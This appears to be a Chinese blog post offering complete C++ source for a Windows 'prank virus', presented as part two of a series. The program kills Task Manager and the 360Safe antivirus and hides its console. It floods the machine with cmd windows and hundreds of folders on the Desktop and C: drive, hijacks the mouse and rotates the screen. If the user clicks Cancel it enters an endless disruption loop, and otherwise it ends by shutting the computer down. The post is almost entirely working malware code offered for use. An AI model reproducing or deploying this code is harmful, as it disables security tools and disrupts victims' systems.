C++病毒(^_^|)(2)
第二期
声明:
仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。
直接上代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;
void lrud(int n=1){
if(n==1){
keybd_event(VK_CONTROL,0,0,0);
keybd_event(VK_MENU,0,0,0);
keybd_event(VK_LEFT,0,0,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);
}else if(n==2){
keybd_event(VK_CONTROL,0,0,0);
keybd_event(VK_MENU,0,0,0);
keybd_event(VK_UP,0,0,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);
}else if(n==3){
keybd_event(VK_CONTROL,0,0,0);
keybd_event(VK_MENU,0,0,0);
keybd_event(VK_RIGHT,0,0,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);
}else{
keybd_event(VK_CONTROL,0,0,0);
keybd_event(VK_MENU,0,0,0);
keybd_event(VK_DOWN,0,0,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);
}
}
void for_lrud(){
for(int i=1;i<=4;i++){
lrud(i);
}
lrud(2);
}
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HCBT_ACTIVATE) {
HWND hMsgBox = (HWND)wParam;
SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);
UnhookWindowsHookEx(g_hHook);
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
string itos3(int n){
int a,b,c;
a=n/100;
b=n%100/10;
c=n%10;
string s="";
if(a!=0){
char d=a+'0';
s+=d;
}
if(b!=0||(b==0&&a!=0)){
char d=b+'0';
s+=d;
}
if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){
char d=c+'0';
s+=d;
}
return s;
}
struct vir{
struct wenjian{
void xingshi(){
system("taskkill /f /im taskmgr.exe");
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL);
if (hwnd){
ShowOwnedPopups(hwnd, SW_HIDE);
ShowWindow(hwnd, SW_HIDE);
}
MessageBox(NULL,"新年新气象","古诗",MB_OK);
MessageBox(NULL,"新年多上当","古诗",MB_OK);
MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);
MessageBox(NULL,"那里有个中分头","古诗",MB_OK);
MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);
MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);
g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);
Sleep(2000);
WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);
HWND hw=FindWindow("360Safe.exe",NULL);
if(hw!=NULL){
ShowWindow(hw,SW_HIDE);
}
g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);
Sleep(500);
g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);
g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
Sleep(4000);
g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);
ShowOwnedPopups(hwnd, SW_HIDE);
ShowWindow(hwnd, SW_HIDE);
int ll=10000;
while(ll--){
int cx=GetSystemMetrics(SM_CXSCREEN);
int cy=GetSystemMetrics(SM_CYSCREEN);
SetCursorPos(rand() % cx,rand() % cy);
}
}
void vira(){
xingshi();
int ll=100;
while(ll--){
system("start cmd");
}
MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);
Sleep(10000);
for(int i=1;i<=100;i++){
string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
jj+=itos3(i);
system(jj.data());
}
MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);
Sleep(20000);
MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);
for(int i=1;i<=100;i++){
string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
jj+=itos3(i);
system(jj.data());
}
Sleep(20000);
MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);
int ii=100000;
while(ii--){
SetCursorPos(1,1);
}
MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);
int iii=10000;
while(iii--){
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
for(int i=1;i<=100;i++){
string jj="mkdir C:\\a";
jj+=itos3(i);
system(jj.data());
}
MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);
MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);
Sleep(10000);
MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);
for_lrud();
MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);
for(int i=1;i<=999;i++){
string jj="mkdir C:\\a";
jj+=itos3(i);
system(jj.data());
string jjb="mkdir C:\\b";
jjb+=itos3(i);
system(jjb.data());
}
int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);
if(pp==IDCANCEL){
while(1){
system("start cmd");
srand(time(0));
SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));
lrud(rand()%4+1);
}
}
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL);
ShowOwnedPopups(hwnd, SW_SHOW);
ShowWindow(hwnd, SW_SHOW);
MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);
system("shutdown -s");
}
}wen;
}virus;
int main(){
virus.wen.vira();
}